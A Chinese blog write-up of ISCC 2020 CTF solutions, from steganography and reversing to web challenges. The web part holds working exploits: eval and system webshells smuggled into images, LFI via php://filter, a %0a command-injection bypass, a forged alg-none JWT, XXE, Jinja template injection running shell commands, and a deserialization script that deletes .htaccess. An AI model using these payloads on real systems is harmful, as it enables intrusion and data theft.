ISCC 2020 Writeup

一道pwn和moblie都没解出来就结束了，其它题也好多都没解出来，我真……的还想再学五百年……

向学长看齐，所以还是先宣传一波ISCC……(逃……)

ISCC简介：(复制粘贴来的)

信息安全已涉及到国家政治、经济、文化、社会和生态文明的建设，信息系统越发展到它的高级阶段，人们对其依赖性就越强，从某种程度上讲其越容易遭受攻击，遭受攻击的后果越严重。“网络安全和信息化是一体之两翼、驱动之双轮。没有网络安全就没有国家安全。”信息是社会发展的重要战略资源，国际上围绕信息的获取、使用和控制的斗争愈演愈烈，信息安全保障能力是综合国力、经济竞争实力和生存能力的重要组成部分，是世纪之交世界各国奋力攀登的至高点。 信息安全与对抗技术竞赛（ISCC：Information Security and Countermeasures Contest），于2004年首次举办（国内第一），2020年为第17届。2019年竞赛的注册人数近7000人，参加竞赛的院校数1000多所，ISCC竞赛的影响广泛且深远。竞赛不断追求“更高、更快、更强”，持续培养高素质信息安全对抗专业人才。

摘自官网： ISCC

MISC

high

欢迎来到MISC的炼狱！赛高泥high铁鸭子哒！哈哈哈哈哈哈哈！

做个misc都有JOJO出现，也是醉了啊……

一看png，先分析文件头，文件名high，于是先修改IHDR中高度值，果然发现flag……但……是

还有一层维吉尼亚密码，key为high…… \(\longleftarrow\) 就这个我交了20多遍错的flag，出师不利

Flag:
ISCC{W3lcome_to_Mi5C_Wryyy}

话说为什么有个一般binwalk固件分析才找到出来的……myi MyiSAM索引文件，迷……

ISCC成绩查询-1

Ron在5月份参加了第17届ISCC竞赛，查成绩的时间到了。但是在他登录时，他突然发现自己忘记了英文用户名，好在他当时记录了自己的英文用户名，你能帮助他找回来嘛？

(连用户名都没记住，嗐……)

仍然一个png，感觉没啥问题，上Stegsolve，发现隐写

是个图论，数了下，发现度为奇数的点刚好两个，而且还有些点有标号，那我们就来走一次欧拉回路吧！

把经过边上的字母连在一起，得到TRLNCHHAFCIEEIEEPR，但是不像用户名，继续试密码，最后栅栏密码6栏得到THERAILFENCECIPHER，恰好为栅栏密码英文名，这用户名取得好啊……

Flag:
flag{THERAILFENCECIPHER}

寻找小明-1

没题面，以后补

重点：最低位的背影，于是上Stegsolve，发现Red plane 0有个二维码，扫一下，得到：（记得反色）

https://pastebin.com/Yjy1crAs

然后，得到一个数组：

[257,1,258,2,259,3,260,4,261,5,262,7,263,8,259,277,438,300,455,319,25,300,456,400,66,366,78,300,421,259,452,23]

个数为偶数，于是猜想是坐标，两个两个从原图找点，由于是在Red plane找到的，就尝试把RGB中R的数值转换为字符，得到flag……

#!/usr/bin/python3
from PIL import Image

pos = [257,1,258,2,259,3,260,4,261,5,262,7,263,8,259,277,438,300,455,319,25,300,456,400,66,366,78,300,421,259,452,23]

if __name__ == "__main__":
    img=Image.open("最低位的背影.png")
    img_array = img.load()
    flag = ""
    for i in range(len(pos) // 2):
        flag = flag + chr(img_array[pos[i * 2],pos[i * 2 + 1]][0])
    print(flag)

(结束了看了学长的wp才发现自己想的太多了……xor，取余，怪不得什么都没找到……)

Flag:
flag{ISCC*funny}

锟斤拷

且作诗一首：
手持两把锟斤拷，口中疾呼烫烫烫。
脚踏千朵屯屯屯，笑看万物锘锘锘。
在神器锟斤拷的高温下，你快速是否能找到flag，免受炼狱之苦呢？

第一次出题，出了个毒瘤题，RE硬生生成了MISC……

首先看到garbled-char.png这个图像，“锟斤拷”三个大字，明显指出了这道题与编码有关，更具体点应该是gbk与unicode。

继续发现图像文件有些偏大，猜想是否隐写了其它文件，用binwork一看，果然发现端倪，解包出来。

得到下列文件：

发现flag.rar有密码，只有从其它几项入手了。

首先看看pwd.txt，发现用默认的utf-8编码无法打开，想想之前的“锟斤拷”，试着用gbk编码打开，得到下列字符串：

“新佛曰”开头，是比较流行的“新约佛论禅”加密，搜索找到解密网站，得到下列字符串：

把字符串当作密码输入，果然不正确，还差了点，继续从剩下的文件找线索。

useful文件像是一个程序，但无法运行，先放在一边。

information.txt的第一行写了“for useful”，解读了这个文件，或许就能让useful运行了。

看剩下七行，第一个字符总是g,b,k中的一个，第二个字符是1-7，之前又说与gbk有关，似乎可以给行排个序？

按照感觉比较合理的顺序排个序，例如：g1,b2,k3,g4,b5,k6,g7。

继续看每行后面的内容，这似曾相似的感觉，似乎是经典的凯撒密码，每行格式相似，而且既有数字也有小写字母，数字也比较连续，看样子数字和小写字母是分开使用交换加密的，循环应该分别是10和26，但是偏移量是多少呢？继续沉思……

继续想到gbk和unicode………… u n i c o d e，一共是7个，g b k g b k g也一共7个，是不是从g b k g b k g --> u n i c o d e呢？字符对应的差值就是每一行对应相应的偏移量？赶紧写份代码试试……

运行后果然得到了下面的结果：

看样子是对useful异或加密了，而且还是分段的，写出解密程序，对useful进行解密。

用file命令判断下文件类型，果然是ELF文件。

拖到ida里面，发现函数很少，感觉被加了壳，继续分析，发现是简单的upx壳，直接脱下即可。

脱完壳继续拖到ida里面，找到main函数，打开graph视图，发现逻辑很复杂，不像一般的程序，比较像虚拟机之类的程序。

打开字符串窗口，看下是否有一些信息，发现了大量Py相关的字符串，有一条明确指出为Python VM，看样子是Python虚拟机没错了，应该是Python脚本的包装器。

最常用的无疑就是Pyinstaller了，通过pyi-bootloader-ignore-signals等字符串也说明了是该ELF是Pyinstaller打的包，开始反编译吧。

查找资料发现，有一款叫pyinstxtractor的开源程序可以反编译Pyinstaller打包程序，为了防止一些奇奇怪怪的事情发生，我们直接到github上找最新的程序源码。

实验后发现pyinstxtractor只能解包exe，不能解包ELF……先放在一旁吧……

继续查阅资料，发现PyInstaller自带pyi-archive_viewer这样一款工具，可以去提取可执行文件中(当然包括ELF)的py代码，有戏！

根据文档，我们可以把pyc文件dump出来，这不就相当于得到源码了吗！

用pyi-archive_viewer很简单就找到了useful这个pyc文件，同时发现了cpython36等字样，说明该文件是在python3.6下用PyInstaller打包的。

现在dump出pyc文件，开始反编译吧。

反编译时工具很多，这里使用uncompyle6。

但却发现出错了，有什么问题吗？

继续查阅资料，发现PyInstaller在打包.pyc时，会把.pyc的magic和时间戳+大小参数去掉，而且各个版本所占字节数不同，同时用pyi-archive_viewer dump时并不会自动还原，只好自己修复，时间戳+大小参数可以随意（可以用00填充），但magic应该怎么获取？

Python 3.6在pyc文件头该增加什么？回想起之前好像有个开源的pyinstxtractor，而Pyinstaller在不同平台用的打包方式应该很相似，可以通过源码学习一下。

通过研究pyinstxtractor源码，我们知道了pyc缺失的部分的格式。

magic可以使用对应版本的python获得，而python 3.6 的magic后面还需要8个字节（时间戳+大小参数），下载Python 3.6，获得四个字节的magic，故pyc一共缺失12个字节。

我们得到了pyc缺失的部分，手动用hex编辑器补上。

然后用uncompyle6反编译，得到py源码。

通过分析发现，这个有用的字符串（也就是需要加在之前获得的字符串后面的字符串），先通过了10次base64编码，再通过输入的pos切片，分别进行a85(Ascii85)和b85(RFC1924)加密后拼接，与目标字符串比较判断是否正确。经过分析，我们可以逆推出useful String。

输入的pos是多少呢？看main前面的表达式我们似乎可以算出来，但是次方过大，无法直接算，发现有取模运算，于是可以用快速幂得到pos为112（当然也可以用数学方法）.

但此时的pos并不是targetStr的切片点，因为a85(Ascii85)的加密方式是以4个字节为一组加密为5个字节，故实际的pos = 112 // 4 * 5 = 140，此时就可以开始编写解密脚本了。

最后得到字符串“\xef\xbf\xbd”，这不就是“锟斤拷”的“罪魁祸首”之一吗？

与之前的“我是没有用处的，除非你在后面加点什么”相连，得到密码，解压flag.rar，得到flag.(记得在两边加上flag{})

Flag:
flag{gbk&unicode^_^YOu-gOT+It}

Web

Php is the best language

没题面，以后补

有index.php源码，一看，php反序列化，把flag.php写到序列化函数就行了

// index.php
<?php  
@error_reporting(1);
include ‘flag.php‘;
class baby 
{
    public $file;
    function __toString()      
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (base64_encode(file_get_contents($filename)))
            {
                return base64_encode(file_get_contents($filename));
            }
        }
    }
}
if (isset($_GET[‘data‘]))
{
    $data = $_GET[‘data‘];
        $good = unserialize($data);
        echo $good;
}
else 
{
    $url=‘./index.php‘;
}

$html=‘‘;
if(isset($_POST[‘test‘])){
    $s = $_POST[‘test‘];
    $html.="<p>谢谢参与!</p>";
}
?>

// to-flag.php
<?php  
class baby 
{
    public $file = ‘flag.php‘;
    function __toString()      
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (base64_encode(file_get_contents($filename)))
            {
                return base64_encode(file_get_contents($filename));
            }
        }
    }
}
$data = new baby;
$good = serialize($data);
echo $good;
?>

得到flag……(我可不是php expert，只是菜鸟)

Flag:
flag{u_r_really_a_php_expert}

What image can do

用最意想不到的图，做最意想不到的事 （有点东西）

文件上传题，下面查看可以运行shell，摆弄一番，发现是内容检测绕过，windows直接找张图片copy /b 1.jpg+shell.php shell.jpg就行。

顺便发现原本包含的file*.php在下级子目录，所以GET时记得../uploads/*，就像这样

http://101.201.126.95:7004/?filename=../uploads/2020/05/07/3942885eb3cba14e059674002813.jpg&submit=phpinfo();

我那乱七八糟的shell

<?php
	echo ‘<br/>‘;
	echo "__FILE__:  ========>  ".__FILE__;    
	echo ‘<br/>‘;
	echo "__DIR__:  ========>  ".__DIR__;  
	echo ‘<br/>‘; 
	echo highlight_file("/var/www/html/flag.php");
	echo ‘<br/>‘; 
	echo highlight_file("/var/www/html/index.php");
	@eval($_GET[‘submit‘]);
?>

附上index.php

<?php
$SELF_PAGE = substr($_SERVER[‘PHP_SELF‘],strrpos($_SERVER[‘PHP_SELF‘],‘/‘)+1);

if ($SELF_PAGE = "clientcheck.php"){
    $ACTIVE = array(‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘active open‘,‘‘,‘‘,‘‘,‘active‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘);
}

include_once ‘inc/uploadfunction.php‘;

$html=‘‘;
if(isset($_POST[‘submit‘])){
    $type=array(‘jpg‘,‘jpeg‘,‘png‘);//指定类型
    $mime=array(‘image/jpg‘,‘image/jpeg‘,‘image/png‘);
    $save_path=‘uploads‘.date(‘/Y/m/d/‘);//根据当天日期生成一个文件夹
    $upload=upload(‘uploadfile‘,‘512000‘,$type,$mime,$save_path);//调用函数
    if($upload[‘return‘]){
        $html.="<p class=‘notice‘>success！</p><p class=‘notice‘>文件保存的路径为：{$upload[‘save_path‘]}</p>";
    }else{
        $html.="<p class=notice>{$upload[‘error‘]}</p>";

    }
}
?>

<head>
    <title>ISCC | What can images do?</title>
    <style>
    body{background-image:url(./static/background.jpg);}

    html,body{
    position: relative;
    height: 100%;
    }

    .main-content{
    position: relative;
    width: 300px;
    margin: 80px auto;
    padding: 20px 40px 40px;
    text-align: center;
    background: #fff;
    border: 1px solid #ccc;
    }

    .main-content::before,.main-content::after{
    content: "";
    position: absolute;
    width: 100%;height: 100%;
    top: 3.5px;left: 0;
    background: #fff;
    z-index: -1;
    -webkit-transform: rotateZ(4deg);
    -moz-transform: rotateZ(4deg);
    -ms-transform: rotateZ(4deg);
    border: 1px solid #ccc;
    }

    .main-content::after{
    top: 5px;
    z-index: -2;
    -webkit-transform: rotateZ(-2deg);
     -moz-transform: rotateZ(-2deg);
      -ms-transform: rotateZ(-2deg);
    }

    .main-content1{
    position: relative;
    width: 300px;
    margin: 80px auto;
    padding: 20px 40px 40px;
    text-align: center;
    background: #fff;
    border: 1px solid #ccc;
    }

    .main-content1::before,.main-content::after{
    content: "";
    position: absolute;
    width: 100%;height: 100%;
    top: 3.5px;left: 0;
    background: #fff;
    z-index: -1;
    -webkit-transform: rotateZ(4deg);
    -moz-transform: rotateZ(4deg);
    -ms-transform: rotateZ(4deg);
    border: 1px solid #ccc;
    }

    .main-content1::after{
    top: 5px;
    z-index: -2;
    -webkit-transform: rotateZ(-2deg);
     -moz-transform: rotateZ(-2deg);
      -ms-transform: rotateZ(-2deg);
    }
    </style>
</head>
<body>
<div class="main-content">
    <div class="main-content-inner">
        <div class="page-content">
            <div id="usu_main">
                <form class="upload" method="post" enctype="multipart/form-data"  action=""><br/>
                    <input class="uploadfile" type="file"  name="uploadfile" /><br/>
                    <input class="sub" type="submit" name="submit" value="点击上传" />
                </form>
                <?php
                echo $html;//输出了上传文件的路径
                ?>
            </div>
        </div><!-- /.page-content -->
    </div>
</div><!-- /.main-content -->

<?php

$SELF_PAGE = substr($_SERVER[‘PHP_SELF‘],strrpos($_SERVER[‘PHP_SELF‘],‘/‘)+1);

if ($SELF_PAGE = "fi_local.php"){
    $ACTIVE = array(‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘active open‘,‘‘,
        ‘active‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘);
}

$html=‘‘;
if(isset($_GET[‘submit‘]) && $_GET[‘filename‘]!=null){
    $filename=$_GET[‘filename‘];
    include "include/$filename";//变量传进来直接包含,没做任何的安全限制
//     安全的写法,使用白名单，严格指定包含的文件名
//     if($filename==‘file1.php‘ || $filename==‘file2.php‘ || $filename==‘file3.php‘ || $filename==‘file4.php‘ || $filename==‘file5.php‘){
//         include "include/$filename";
//     }
}

?>


<div class="main-content1">
    <div class="main-content-inner1">
        <div class="page-content1">
            <div id=fi_main>
                <p class="fi_title">PS:这里可以看到一些好看的图片示例哦~</p>
                <form method="get">
                    <select name="filename">
                        <option value="">--------------</option>
                        <option value="file1.php">the Eiffel Tower</option>
                        <option value="file2.php">the Great Wall</option>
                        <option value="file3.php">Big Ben</option>
                        <option value="file4.php">Statue Of Liberty</option>
                        <option value="file5.php">Taj Mahal</option>
                    </select>
                    <input class="sub" type="submit" name="submit" />
                </form>
                <?php echo $html;?>
            </div>
        </div><!-- /.page-content1 -->
    </div>
</div><!-- /.main-content1 -->

</body>

最终flag为：

Flag:
flag{ISCC_FREAKING_AWESOME}

的确意想不到，webshell被传了一大堆，而且靶场上传目录还被写成过000，醉……

Where is file

没题面，以后补

有源码，分析后直接php伪协议，php://filter搞定

http://101.201.126.95:7009/?file=php://filter/read=convert.base64-encode/resource=flag.php&hello=flag.php

// index.php
<?php
show_source(__FILE__);
echo $_GET[‘hello‘];
$file=$_GET[‘file‘];
while (strstr($file, "file://")) {
    $file=str_replace("file://", "", $file);
}
include($file);
?>

// flag.php
<?php
$a="flag{web_include_file}";
?>

Flag:
flag{web_include_file}

阿帅的爱情

找到题目，发现index.php源码

<?php
if(!isset($_GET["ip"])){
    show_source(__file__);
} else
{
    $ip=$_GET["ip"];
    $pattern="/[;|&].*[a-zA-Z]+/";
    if(preg_match($pattern,$ip)!=0){
        die(‘bad domain‘);
    }
    try {
        $result = shell_exec(‘ping -c 4 ‘ . $ip);
    }
    catch(Exception $e) {
        $result = $e->getMessage();
        echo $result;
    }
    $result = str_replace("\n", "<br>", $result);
    echo $result;
}

发现是审计，分析一下，有一个命令执行漏洞，正则被过滤，但是可以直接用%0a绕过，ls查看发现flag.php，直接cat flag.php

这个flag够长……

Flag:
flag{6Zi/5qOu5LiK5LqG6Zi_5biF77yM5Zyo5LiA5Liq5rKh5py_J5pif5pif55qE5aSc5pma}

未知的风险-1

打开，发现只有hello guest;，于是用burpsuite抓包，发现Cookie: token，分析一下，是JWT，所以根据题意伪造user的JWT

alg为none，于是第三部分加密就不用伪造了

// JWT伪装user:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6InVzZXIiLCJpYXQiOjE1ODg4NTM1OTYsImp0aSI6ImEzNGFkMzQ4ZGMzMjZkOTIxNGUyNmVkYTcwMTBjYjA2In0.
{"typ":"JWT","alg":"none"}.{"id":"user","iat":1588853596,"jti":"a34ad348dc326d9214e26eda7010cb06"}

修改Cookie，进入一个登录页面，查看页面源代码，发现ajax请求用的是XML，所以可以用XXE漏洞。

抓包，修改XML，试了几下，发现php伪协议能用，有flag.php，于是JWT+XXE+php://filter搞定，

<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php" >]>
<user><username>&xxe;</username><password>asd</password></user>`

最后base64转化一下：

Flag:
flag{get_the_methodd}

未知的风险-2

没题面，以后补

有index.txt，不过需要去有意试一下

//index.php
<?php

//error_reporting(0);
include(‘secret.php‘);

$sandbox_dir = ‘sandbox/‘.sha1($_SERVER[‘REMOTE_ADDR‘]);
global $sandbox_dir;

function myserialize($a, $secret) {
    $b = str_replace("../","./", serialize($a));
    return $b.hash_hmac(‘sha256‘, $b, $secret);
}

function myunserialize($a, $secret) {
    if(substr($a, -64) === hash_hmac(‘sha256‘, substr($a, 0, -64), $secret)){
        return unserialize(substr($a, 0, -64));
    }
}

class UploadFile {

    function upload($fakename, $content) {
        global $sandbox_dir;
        $info = pathinfo($fakename);
        $ext = isset($info[‘extension‘]) ? ".".$info[‘extension‘] : ‘.txt‘;
        file_put_contents($sandbox_dir.‘/‘.sha1($content).$ext, $content);
        $this->fakename = $fakename;
        $this->realname = sha1($content).$ext;
    }
    function open($fakename, $realname) {
        global $sandbox_dir;
        $analysis = "$fakename is in folder $sandbox_dir/$realname.";
        return $analysis;
    }
}

if(!is_dir($sandbox_dir)) {
    mkdir($sandbox_dir,0777,true);
}

if(!is_file($sandbox_dir.‘/.htaccess‘)) {
    file_put_contents($sandbox_dir.‘/.htaccess‘, "php_flag engine off");
}

if(!isset($_GET[‘action‘])) {
    $_GET[‘action‘] = ‘home‘;
}


if(!isset($_COOKIE[‘files‘])) {
    setcookie(‘files‘, myserialize([], $secret));
    $_COOKIE[‘files‘] = myserialize([], $secret);
}


switch($_GET[‘action‘]){
    case ‘home‘:
    default:
        $content = "<form method=‘post‘ action=‘index.php?action=upload‘ enctype=‘multipart/form-data‘><input type=‘file‘ name=‘file‘><input type=‘submit‘/></form>";

        $files = myunserialize($_COOKIE[‘files‘], $secret);
        if($files) {
            $content .= "<ul>";
            $i = 0;
            foreach($files as $file) {
                $content .= "<li><form method=‘POST‘ action=‘index.php?action=changename&i=".$i."‘><input type=‘text‘ name=‘newname‘ value=‘".htmlspecialchars($file->fakename)."‘><input type=‘submit‘ value=‘Click to edit name‘></form><a href=‘index.php?action=open&i=".$i."‘ target=‘_blank‘>Click to show locations</a></li>";
                $i++;
            }
            $content .= "</ul>";
        }
        echo $content;
        break;
    case ‘upload‘:
        if($_SERVER[‘REQUEST_METHOD‘] === "POST") {
            if(isset($_FILES[‘file‘])) {
                $uploadfile = new UploadFile;
                $uploadfile->upload($_FILES[‘file‘][‘name‘], file_get_contents($_FILES[‘file‘][‘tmp_name‘]));
                $files = myunserialize($_COOKIE[‘files‘], $secret);
                $files[] = $uploadfile;
                setcookie(‘files‘, myserialize($files, $secret));
                header("Location: index.php?action=home");
                exit;
            }
        }
        break;
    case ‘changename‘:
        if($_SERVER[‘REQUEST_METHOD‘] === "POST") {
            $files = myunserialize($_COOKIE[‘files‘], $secret);
            if(isset($files[$_GET[‘i‘]]) && isset($_POST[‘newname‘])){
                $files[$_GET[‘i‘]]->fakename = $_POST[‘newname‘];
            }
            setcookie(‘files‘, myserialize($files, $secret));
        }
        header("Location: index.php?action=home");
        exit;
    case ‘open‘:
        $files = myunserialize($_COOKIE[‘files‘], $secret);
        if(isset($files[$_GET[‘i‘]])){
            echo $files[$_GET[‘i‘]]->open($files[$_GET[‘i‘]]->fakename, $files[$_GET[‘i‘]]->realname);
        }
        exit;
    case ‘reset‘:
        setcookie(‘files‘, myserialize([], $secret));
        $_COOKIE[‘files‘] = myserialize([], $secret);
        array_map(‘unlink‘, glob("$sandbox_dir/*"));
        header("Location: index.php?action=home");
        exit;
}

是个自建沙箱上传的题目，用了.htaccess防止webshell运行，有几个功能，同时发现反序列化函数，在这里，由于用户控制的Cookie被直接发送到s_unserialize()函数，所以我们可以尝试寻找PHP对象注入漏洞。

……（过程十分复杂，由于是Insomni‘hack Teaser 2018 File Vault 原题，可以参考官方Writeup ）

脚本如下，传上去webshell后就可以用中国蚁剑连接了，不过其实直接GET cat ../../flag.php 就行了，不过不要拿着shell乱搞……

import requests
import urllib
import hashlib

URL = "http://101.201.126.95:7005/"
s = requests.Session()

default_content = "AK"
my_ip = "127.0.0.1" # 修改为自己ip
newname = "../" * 117 # 覆写 fakename #2
remote_address = hashlib.sha1(my_ip.encode(‘utf-8‘)).hexdigest()
serialized_injection = ‘";s:8:"realname";s:44:"%s.txt";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/%s/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"‘ % (hashlib.sha1(default_content.encode(‘utf-8‘)).hexdigest(), remote_address)

shell_php = ‘‘‘<?php 
	if(isset($_POST[‘pass‘])){
		@eval($_POST[‘pass‘]);
	}
	if(isset($_GET[‘cmd‘])){
		system($_GET[‘cmd‘]);
	}
	if(isset($_GET[‘phpcmd‘])){
		@eval($_GET[‘phpcmd‘]);
	}
?>‘‘‘


def upload(name, content=default_content):
    files = {‘file‘: (name, content)}
    params = { "action" : "upload" }
    s.post(URL, params=params, files=files)

def rename(index, new_name):
    data = { "newname" : new_name }
    params = {
        "action" : "changename",
        "i" : index
    }
    s.post(URL, params=params, data=data)

def open_file(index):
    params = {
        "action" : "open",
        "i" : index
    }
    return s.get(URL, params=params).text

# 随意上传两个文件
upload("A")
upload("B")

# 通过重命名注入序列化 ZipArchiver
rename(1, serialized_injection)
rename(0, newname)

# 上传 shell
upload("shell.php", shell_php)

# 收到的 Cookie
print(" === Cookie === ")
print(urllib.request.unquote(s.cookies[‘files‘]))
print(" ============== ")

# Trigger .htaccess 被删除
open_file(1)

shell_url = URL + "sandbox/%s/%s.php" % (remote_address, hashlib.sha1(shell_php.encode(‘utf-8‘)).hexdigest())
print(shell_url)

response = requests.get(shell_url, params={"cmd" : "cat ../../secret.php"})
flag = response.text
print(flag)

得到flag……（第一次的时候发现sandbox无法访问，准是靶场目录权限又被改成000了）

Flag:
flag{ghs_aswoer_nmxld}

（随意翻了下别人传的，都是些什么和什么哦……）

Easy Injection

python template injection

唯一做的一道擂台题，明显python template注入……

找到第231个类包含了os库，于是用listdir查看，看到flog文件，用popen创建管道传回终端结果，得到flag……

第一次：
http://101.201.126.95:7050/{% for item in ‘‘.__class__.__mro__[1].__subclasses__() %}%0a{% if ‘os‘ in item.__init__.__globals__ %}%0a{{‘%s‘ % (item.__dict__)}}%0a{% endif %}%0a{% endfor %}

第二次：
http://101.201.126.95:7050/{{‘‘.__class__.__mro__[1].__subclasses__()[231].__init__.__globals__[‘os‘].listdir(‘.‘)}}
返回：URL http://101.201.126.95:7050/[‘%‘, ‘tt.txt‘, ‘.travis.yml‘, ‘.gitignore‘, ‘requirements.txt‘, ‘index.py‘, ‘flog‘] not found

第三次：
http://101.201.126.95:7050/{{‘‘.__class__.__mro__[1].__subclasses__()[231].__init__.__globals__[‘os‘].popen("cat flog").read()}}

附上index.py

#encoding:utf-8
from flask import Flask,request,render_template_string 
import urllib.request,urllib.parse 
app = Flask(__name__) 
@app.route("/") 
def hello(): 
	return "python template injection" 
@app.errorhandler(404) 
def page_not_found(error): 
	url = urllib.parse.unquote(request.url) 
	return render_template_string("<h1>URL %s not found</h1><br/>"%url), 404 
if __name__ == ‘__main__‘: 
	app.run(debug=False, host=‘0.0.0.0‘, port=80)

Flag:
flag{tomrrow_WILL_be_FINE}

(但是明天下雨，谢谢……)

Re

苏大强的保险箱-1

没题面，以后补

直接用IDA，找到加密函数，直接写段C输出即可……

记得要逆序一下

#include<stdio.h>
int b[20] = {0xD5, 0x9E, 0xB4, 0x70, 0x78, 0x60, 0x82, 0x70, 0x39, 0x5E};
int a[20] = {0x0A, 7, 0x41, 0x0B, 0x2C, 0x0C, 0x3D, 0x38, 0x27, 0x73};
int main()
{
	char m[20];
	for (int i = 0; i <= 9; ++i) m[9 - i] = b[9 - i] - i - a[i];
	printf("flag{%s}\n", m);
	return 0;
}

Flag:
flag{You-g0t-1T}

苏大强的保险箱-2

没题面，以后补

还是用IDA，找到加密函数，发现是RC4，百度后直接写出C文件，输出flag

#include<stdio.h>
#include<time.h>
#include<string.h>
#include<stdlib.h> 
#define MAX 65534

int S[256]; //向量S
char T[256];    //向量T
char Key[256] = "a1dWT1pJXF1USVxRV1ZbUElQSVBJ";
int KeyStream[MAX]; //密钥
char CryptoText[MAX];
void init_S()
{
	for(int i = 0; i < 256; i++)
	{
		S[i] = i;
	}
}

void init_Key()
{
	// 初始密钥
	int keylen = strlen(Key);
	for(int i = 0; i < 256; i++)    //初始化T[]
	{
		T[i] = Key[i%keylen];
	}
}

void  permute_S()
{
	// 置换S;
	int temp;
	int j = 0;
	for(int i = 0; i < 256; i++)
	{
		j = (j + S[i] + T[i]) % 256;
		temp = S[i];
		S[i] = S[j];
		S[j] = temp;
	}
}

void create_key_stream(int textLength)
{
	// 生成密钥流
	int i,j;
	int temp, t, k;
	int index = 0;
	i = j = 0;
	while(textLength --)    //生成密钥流
	{
		i = (i+1)%256;
		j = (j + S[i]) % 256;
		temp = S[i];
		S[i] = S[j];
		S[j] = temp;
		t = (S[i] + S[j]) % 256;
		KeyStream[index] = S[t];
		index ++;
	}
}
void Rc4EncryptText(int *text, int textLength)
{
	//加密 && 解密
	init_S();
	init_Key();
	permute_S();
	create_key_stream(textLength);
	printf("============开始解密============:\n");
	for(int i = 0; i < textLength; i++)
	{
		CryptoText[i] = (char)(KeyStream[i] ^ text[i]); //加密
	}
	printf("flag{");
	for(int i = 0; i < textLength; i++)
	{
		printf("%c", CryptoText[i]);
	}
	printf("}\n");
	printf("\n============解密完成============\n"); 
}

int main()
{
	int x[20] = {-99, -121, 113, -92, -125, 11, -86, 83, -60, 56, 54, -123};
	Rc4EncryptText(x, 12);
	system("pause"); 
	return 0;
}

IDA一番操作猛如虎……

Flag:
flag{1amSuda7iang}

（话说做2的时候都忘了1有个key了，直接IDA找出来，不管它是组合题了）

结语

别问我为什么用cnblogs……

主要是现在都没找到满意的blog方式，但是发现Hexo + Django好像不错，可以暑假写写试试